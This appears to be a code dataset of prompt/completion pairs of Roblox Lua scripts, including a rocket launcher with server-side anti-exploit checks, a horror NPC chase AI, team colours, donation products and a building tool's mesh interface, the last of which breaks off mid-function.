prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--local Player=ModFx.GetPlayerFromTool(Tool) --[[This will be refreshed throughout the script
-- so that if someone wanted to make the tools
-- droppable, itd work with other players ]]
-- commented cause its useless as a global variable, however not deleted so as to keep the above comments |
local ColSer=game:GetService("CollectionService")
local Debris=game:GetService("Debris")
local function FireWep(plr,targetPos)
if Tool.Enabled==false then return end
local Player=ModFx.GetPlayerFromTool(Tool)
if plr~=Player then return end
local c=plr.Character
if not c then return end
local h=c:FindFirstChildWhichIsA("Humanoid")
local plrTool=c:FindFirstChildWhichIsA("Tool")
local Head=c:FindFirstChild("Head")
if not Head or not plrTool or not h then return end
if plrTool~=Tool then return end
if h.Health<=0 then return end
Tool.Enabled=false
local dir = targetPos - Head.Position
dir = dir*(1/dir.magnitude)
local pos = Head.Position + (dir * 8)
local ad=5000
local missile = Rocket:clone()
missile.Name="Rocket"
local BV=Instance.new("BodyVelocity")
BV.Parent=missile
BV.P=12500
BV.MaxForce=Vector3.new(ad,ad,ad)
BV.Velocity=dir*60
missile.CFrame = CFrame.new(pos, pos + dir)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = plr
creator_tag.Name = "creator"
creator_tag.Parent = missile
local exp=Tool.Handle.exp:Clone()
exp.PlaybackSpeed=math.random(90,110)/100
exp.PlayOnRemove=true
exp.Parent=missile
local swoosh=Tool.Handle.swoosh:Clone()
swoosh.PlaybackSpeed=math.random(95,105)/100
swoosh.Parent=missile
missile.Parent = workspace
ColSer:AddTag(missile,missile.Name)
ColSer:AddTag(missile,plr.Name)
missile:SetNetworkOwner(plr)
swoosh:Play()
local effect=plr:FindFirstChild("Effect")
if effect and effect.Value~="None" then
if effect.Value=="Fire" then
Instance.new("Fire",missile)
else
spawn(function()
require(game:GetService("ReplicatedStorage").TrailModule).AddTrail(missile,effect.Value,.5,.5,1)
end)
end
end
Debris:AddItem(missile,10)
wait(7)
Tool.Enabled=true
end
Tool.Fire.OnServerEvent:Connect(FireWep)
local function DestroyRocket(plr,Obj,ClientPos)
local x=true
local succ,err=pcall(function()
if Obj:GetNetworkOwner()~=plr then x=false end
end)
if err then warn(plr.Name.." may be exploiting") return end -- Not sure how this would happen.
if x==false then warn(plr.Name.." is definitely exploiting") --[[plr:Kick("Possible exploit detected")]] return end
--[[ Why am I so confident that they're an exploiter if x==false? Because the network owner of the rocket is SET (as opposed to using auto
network ownership) to the rocket's firer, and so if the part this remote is firing upon is NOT owned by the user firing the remote, then I
know the remote is being fired externally. ]]
local ServerPos=Obj.Position
local creator=Obj:FindFirstChild("creator")
local CreatorValue
if creator then
CreatorValue=creator.Value
end
local Player=ModFx.GetPlayerFromTool(Tool)
if CreatorValue~=nil and CreatorValue==plr and Player and Player==plr and (ServerPos - ClientPos).magnitude < 20 and ColSer:HasTag(Obj,Obj.Name)
and ColSer:HasTag(Obj,plr.Name) then -- all these to ensure that it's a rocket, and its their rocket, and its from their tool
-- "(ServerPos - ClientPos).magnitude" = the distance between the serverside and clientside missile on hit
Obj:ClearAllChildren()
Debris:AddItem(Obj,0)
ModFx.Explosion(CreatorValue,"Rocket",ClientPos)
end
end
Tool.RocketDestroyEvent.OnServerEvent:connect(DestroyRocket)
|
-- unit.TextTransparency = -0.25 + 1.25*cosRot2
-- unit.BackgroundTransparency = 0.00 + 1.50*cosRot2 |
else
unit.Visible = false
end
end
end
|
--[[ By: Brutez. Script Fixed By Xcorrectgamermaster ]] | --
local JeffTheKillerScript=script;
repeat wait(0.1)until JeffTheKillerScript and JeffTheKillerScript.Parent and JeffTheKillerScript.Parent.ClassName=="Model"and JeffTheKillerScript.Parent:FindFirstChild("Head")and JeffTheKillerScript.Parent:FindFirstChild("Torso");
local JeffTheKiller=JeffTheKillerScript.Parent;
function raycast(Spos,vec,currentdist)
local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(Spos+(vec*.05),vec*currentdist),JeffTheKiller);
if hit2~=nil and pos2 then
if hit2.Name=="Handle" and not hit2.CanCollide or string.sub(hit2.Name,1,6)=="Effect"and not hit2.CanCollide then
local currentdist=currentdist-(pos2-Spos).magnitude;
return raycast(pos2,vec,currentdist);
end;
end;
return hit2,pos2;
end;
function RayCast(Position,Direction,MaxDistance,IgnoreList)
return game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(Position,Direction.unit*(MaxDistance or 999.999)),IgnoreList);
end;
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,-0);
local OriginalC0=JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0;
function FindNearestBae()
local NoticeDistance=70;
local TargetMain;
for _,TargetModel in pairs(game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumaniodRootPart")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<15 and not AttackDebounce then
spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(2.1+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife then
local SwingSound=JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Swing")
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
wait(0.2);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(20);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
wait(1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while wait(0.1)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
wait(0.5)
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
Jumpable=false;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool" or Blockage.Parent.Name=="Humanoid" and Blockage.Parent.Name=="HumanoidRootPart" and Blockage.Parent.ClassName=="Humanoid" then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("RakeStep")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("RakeStep"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
wait(0.4);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
wait(0.15);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<99999999999999999999 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("RakeTheme")and not JeffTheKillerHead:FindFirstChild("RakeTheme").IsPlaying then
JeffTheKillerHead:FindFirstChild("RakeTheme").Volume=JeffTheKiller:FindFirstChild("Configuration"):FindFirstChild("RakeThemeVolume").Value;
JeffTheKillerHead:FindFirstChild("RakeTheme"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>9999999999999999999 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("RakeTheme")and JeffTheKillerHead:FindFirstChild("RakeTheme").IsPlaying then
if not JeffLaughDebounce then
spawn(function()
JeffLaughDebounce=true;
repeat wait(0.1);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("RakeTheme")then JeffTheKillerHead:FindFirstChild("RakeTheme").Volume=JeffTheKillerHead:FindFirstChild("RakeTheme").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("RakeTheme").Volume==0 or JeffTheKillerHead:FindFirstChild("RakeTheme").Volume<0;
JeffTheKillerHead:FindFirstChild("RakeTheme").Volume=0;
JeffTheKillerHead:FindFirstChild("RakeTheme"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
spawn(function()
MusicDebounce=true;
repeat wait(0.1);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
spawn(function()
JeffLaughDebounce=true;
repeat wait(0.1);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("RakeTheme")then JeffTheKillerHead:FindFirstChild("RakeTheme").Volume=JeffTheKillerHead:FindFirstChild("RakeTheme").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("RakeTheme").Volume==0 or JeffTheKillerHead:FindFirstChild("RakeTheme").Volume<0;
JeffTheKillerHead:FindFirstChild("RakeTheme").Volume=0;
JeffTheKillerHead:FindFirstChild("RakeTheme"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
spawn(function()
MusicDebounce=true;
repeat wait(0.1);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Found")then
JeffTheKiller.Target.Value = true;
JeffTheKillerHead:FindFirstChild("Found"):Play();
wait(0.4);
JeffTheKillerHead:FindFirstChild("RakeScream"):Play();
NoticeDebounce=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=JeffTheKiller.Configuration.WalkSpeed.Value;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=1;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,game:GetService("Workspace"):FindFirstChild("Terrain"));
local NeckRotation=(JeffTheKiller:FindFirstChild("Torso").Position.Y-MainTarget.Parent:FindFirstChild("Head").Position.Y)/10;
if NeckRotation>-1.5 and NeckRotation<1.5 then
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=OriginalC0*CFrame.fromEulerAnglesXYZ(NeckRotation,0,0);
end;
if NeckRotation<-1.5 then
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,-0.4,0.1,0,0.1,0.9);
elseif NeckRotation>1.5 then
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,0.1,0.08,0,0.08,-0.2);
end;
else
end;
else
Notice=false;
NoticeDebounce=false;
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,-0);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
JeffTheKiller.Target.Value=false;
end;
end;
spawn(function()
local AlreadyDo=false;
while wait(0.1) do
if JeffTheKiller.Target.Value==false and AlreadyDo==false then
JeffTheKillerHead.Mouth.Transparency=1;
JeffTheKillerHead.Mouth2.Transparency=0;
JeffTheKillerHead.Mouth2.MouthDecal.Transparency=0;
JeffTheKiller.Wander.Disabled=false;
AlreadyDo=true;
wait(5);
AlreadyDo=false;
end;
if JeffTheKiller.Target.Value==true and AlreadyDo==false then
JeffTheKillerHead.Mouth.Transparency=0;
JeffTheKillerHead.Mouth2.Transparency=1;
JeffTheKillerHead.Mouth2.MouthDecal.Transparency=1;
JeffTheKiller.Wander.Disabled=true;
AlreadyDo=true;
wait(5);
AlreadyDo=false;
end;
end;
end);
spawn(function()
while JeffTheKillerHumanoid.Health > 1 do
wait(1);
JeffTheKiller:FindFirstChild("Torso").Blood.Enabled = false;
JeffTheKiller:FindFirstChild("Torso").Blood2.Enabled = false;
JeffTheKillerHead.Eye1.BrickColor=BrickColor.new("Institutional white");
JeffTheKillerHead.Eye2.BrickColor=BrickColor.new("Institutional white");
end;
end);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="NPC";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=2000;
JeffTheKillerHumanoid.JumpPower=80;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end; |
-- Now with exciting TeamColors HACK! |
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
-- TEAM COLORS
function onTeamChanged(player)
wait(1)
local char = player.Character
if char == nil then return end
if player.Neutral then
-- Replacing the current BodyColor object will force a reset
local old = char:findFirstChild("Body Colors")
if not old then return end
old:clone().Parent = char
old.Parent = nil
else
local head = char:findFirstChild("Head")
local torso = char:findFirstChild("Torso")
local left_arm = char:findFirstChild("Left Arm")
local right_arm = char:findFirstChild("Right Arm")
local left_leg = char:findFirstChild("Left Leg")
local right_leg = char:findFirstChild("Right Leg")
if head then head.BrickColor = BrickColor.new(24) end
if torso then torso.BrickColor = player.TeamColor end
if left_arm then left_arm.BrickColor = BrickColor.new(26) end
if right_arm then right_arm.BrickColor = BrickColor.new(26) end
if left_leg then left_leg.BrickColor = BrickColor.new(26) end
if right_leg then right_leg.BrickColor = BrickColor.new(26) end
end
end
function onPlayerPropChanged(property, player)
if property == "Character" then
onTeamChanged(player)
end
if property== "TeamColor" or property == "Neutral" then
onTeamChanged(player)
end
end
local cPlayer = game.Players:GetPlayerFromCharacter(script.Parent)
cPlayer.Changed:connect(function(property) onPlayerPropChanged(property, cPlayer) end )
onTeamChanged(cPlayer)
|
-- connect events |
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)
|
-- Events |
local Events = ReplicatedStorage:FindFirstChild("Events")
local LoadCharacter = Events:FindFirstChild("LoadCharacter")
local LoadSpeeder = Events:FindFirstChild("LoadSpeeder")
|
--These are all donations that can be done. You must set this up with your own products to make money of it.
--To make a product you have to make a Developer Product in your game's settings page.
--You can make as many as you want, Once you made one, copy it's ID and past it in the 'ProductId' variable in this script.
--Change the 'ProductPrice' to what the Developer Product Costs. |
local module = {}
module.Products = {
{
ProductPrice = 5, --The price from the Developer Product.
ProductId = 33152750 -- The ID from the Developer Product.
},
{
ProductPrice = 10, --The price from the Developer Product.
ProductId = 33152755 -- The ID from the Developer Product.
},
{
ProductPrice = 50, --The price from the Developer Product.
ProductId = 33152758 -- The ID from the Developer Product.
},
{
ProductPrice = 100, --The price from the Developer Product.
ProductId = 33152760 -- The ID from the Developer Product.
},
}
|
-- Mounts the custom material walking sounds into the provided
-- humanoid. This mounting assumes the HumanoidRootPart is the
-- part that will be storing the character's "Running" sound. |
function CharacterRealism:MountMaterialSounds(humanoid)
local character = humanoid.Parent
local rootPart = character and character:WaitForChild("HumanoidRootPart", 10)
if not (rootPart and rootPart:IsA("BasePart")) then
return
end
Util:PromiseChild(rootPart, "Running", function (running)
if not running:IsA("Sound") then
return
end
local oldPitch = Instance.new("NumberValue")
oldPitch.Name = "OldPitch"
oldPitch.Parent = running
oldPitch.Value = 1
local function onStateChanged(old, new)
if new.Name:find("Running") then
while humanoid:GetState() == new do
local hipHeight = humanoid.HipHeight
if humanoid.RigType.Name == "R6" then
hipHeight = 2.8
end
local scale = hipHeight / 3
local speed = (rootPart.Velocity * XZ_VECTOR3).Magnitude
local volume = ((speed - 4) / 12) * scale
running.Volume = math.clamp(volume, 0, 1)
local pitch = oldPitch.Value / ((scale * 15) / speed)
running.Pitch = pitch
RunService.Heartbeat:Wait()
end
end
end
local function updateRunningSoundId()
local soundId = self.Sounds.Concrete
local material = humanoid.FloorMaterial.Name
if not self.Sounds[material] then
if not self.MaterialMap[material] then
material = self.Sounds.Concrete
else
material = self.MaterialMap[material]
end
end
if self.Sounds[material] then
soundId = self.Sounds[material]
end
running.SoundId = "rbxassetid://" .. soundId
end
local floorListener = humanoid:GetPropertyChangedSignal("FloorMaterial")
floorListener:Connect(updateRunningSoundId)
running.EmitterSize = 1
running.MaxDistance = 50
updateRunningSoundId()
humanoid.StateChanged:Connect(onStateChanged)
onStateChanged(nil, Enum.HumanoidStateType.Running)
end)
end
|
--[[**
Checks if the player is in the given group.
@param [Instance<Player>] Player The player you are checking for. Can also be their UserID.
@param [Integer] GroupID The group you are checking.
@returns [Boolean] Whether or not the player is in the group.
**--]] |
function GroupService:IsInGroupAsync(Player, GroupID)
for _, Group in ipairs(GroupService:GetGroupsAsync(Player)) do
if Group.Id == GroupID then
return true
end
end
return false
end
|
--[[**
ensures value is a number where min <= value
@param min The minimum to use
@returns A function that will return true iff the condition is passed
**--]] |
function t.numberMin(min)
return function(value)
local success, errMsg = t.number(value)
if not success then
return false, errMsg or ""
end
if value >= min then
return true
else
return false, string.format("number >= %s expected, got %s", min, value)
end
end
end
|
-- Container for temporary connections (disconnected automatically) |
local Connections = {};
function MeshTool.Equip()
-- Enables the tool's equipped functionality
-- Start up our interface
ShowUI();
end;
function MeshTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
ClearConnections();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if MeshTool.UI then
-- Reveal the UI
MeshTool.UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
MeshTool.UI = Core.Tool.Interfaces.BTMeshToolGUI:Clone();
MeshTool.UI.Parent = Core.UI;
MeshTool.UI.Visible = true;
local AddButton = MeshTool.UI.AddButton;
local RemoveButton = MeshTool.UI.RemoveButton;
local MeshIdInput = MeshTool.UI.MeshIdOption.TextBox;
local TextureIdInput = MeshTool.UI.TextureIdOption.TextBox;
local VertexColorInput = MeshTool.UI.TintOption.HSVPicker;
MeshTypes = {
Block = Enum.MeshType.Brick,
Cylinder = Enum.MeshType.Cylinder,
File = Enum.MeshType.FileMesh,
Head = Enum.MeshType.Head,
Sphere = Enum.MeshType.Sphere,
Wedge = Enum.MeshType.Wedge
};
-- Sort the mesh types
SortedMeshTypes = Support.Keys(MeshTypes);
table.sort(SortedMeshTypes);
-- Create type dropdown
local function BuildTypeDropdown()
return Roact.createElement(Dropdown, {
Position = UDim2.new(0, 40, 0, 0);
Size = UDim2.new(1, -40, 0, 25);
Options = SortedMeshTypes;
MaxRows = 6;
CurrentOption = MeshTool.CurrentType;
OnOptionSelected = function (Option)
SetProperty('MeshType', MeshTypes[Option])
end;
})
end
-- Mount type dropdown
local TypeDropdownHandle = Roact.mount(BuildTypeDropdown(), MeshTool.UI.TypeOption, 'Dropdown')
MeshTool.OnTypeChanged:Connect(function ()
Roact.update(TypeDropdownHandle, BuildTypeDropdown())
end)
-- Enable the scale inputs
local XScaleInput = MeshTool.UI.ScaleOption.XInput.TextBox;
local YScaleInput = MeshTool.UI.ScaleOption.YInput.TextBox;
local ZScaleInput = MeshTool.UI.ScaleOption.ZInput.TextBox;
XScaleInput.FocusLost:Connect(function (EnterPressed)
local NewScale = tonumber(XScaleInput.Text);
SetAxisScale('X', NewScale);
end);
YScaleInput.FocusLost:Connect(function (EnterPressed)
local NewScale = tonumber(YScaleInput.Text);
SetAxisScale('Y', NewScale);
end);
ZScaleInput.FocusLost:Connect(function (EnterPressed)
local NewScale = tonumber(ZScaleInput.Text);
SetAxisScale('Z', NewScale);
end);
-- Enable the offset inputs
local XOffsetInput = MeshTool.UI.OffsetOption.XInput.TextBox;
local YOffsetInput = MeshTool.UI.OffsetOption.YInput.TextBox;
local ZOffsetInput = MeshTool.UI.OffsetOption.ZInput.TextBox;
XOffsetInput.FocusLost:Connect(function (EnterPressed)
local NewOffset = tonumber(XOffsetInput.Text);
SetAxisOffset('X', NewOffset);
end);
YOffsetInput.FocusLost:Connect(function (EnterPressed)
local NewOffset = tonumber(YOffsetInput.Text);
SetAxisOffset('Y', NewOffset);
end);
ZOffsetInput.FocusLost:Connect(function (EnterPressed)
local NewOffset = tonumber(ZOffsetInput.Text);
SetAxisOffset('Z', NewOffset);
end);
-- Enable the mesh ID input
MeshIdInput.FocusLost:Connect(function (EnterPressed)
SetMeshId(ParseAssetId(MeshIdInput.Text));
end);
-- Enable the texture ID input
TextureIdInput.FocusLost:Connect(function (EnterPressed)
SetTextureId(ParseAssetId(TextureIdInput.Text));
end);
-- Enable the vertex color/tint option
local ColorPickerHandle = nil
VertexColorInput.MouseButton1Click:Connect(function ()
local CommonColor = VectorToColor(Support.IdentifyCommonProperty(GetMeshes(), 'VertexColor'))
local ColorPickerElement = Roact.createElement(ColorPicker, {
InitialColor = CommonColor or Color3.fromRGB(255, 255, 255);
SetPreviewColor = function (Color)
SetPreviewTint(ColorToVector(Color))
end;
OnConfirm = function (Color)
SetProperty('VertexColor', ColorToVector(Color))
ColorPickerHandle = Roact.unmount(ColorPickerHandle)
end;
OnCancel = function ()
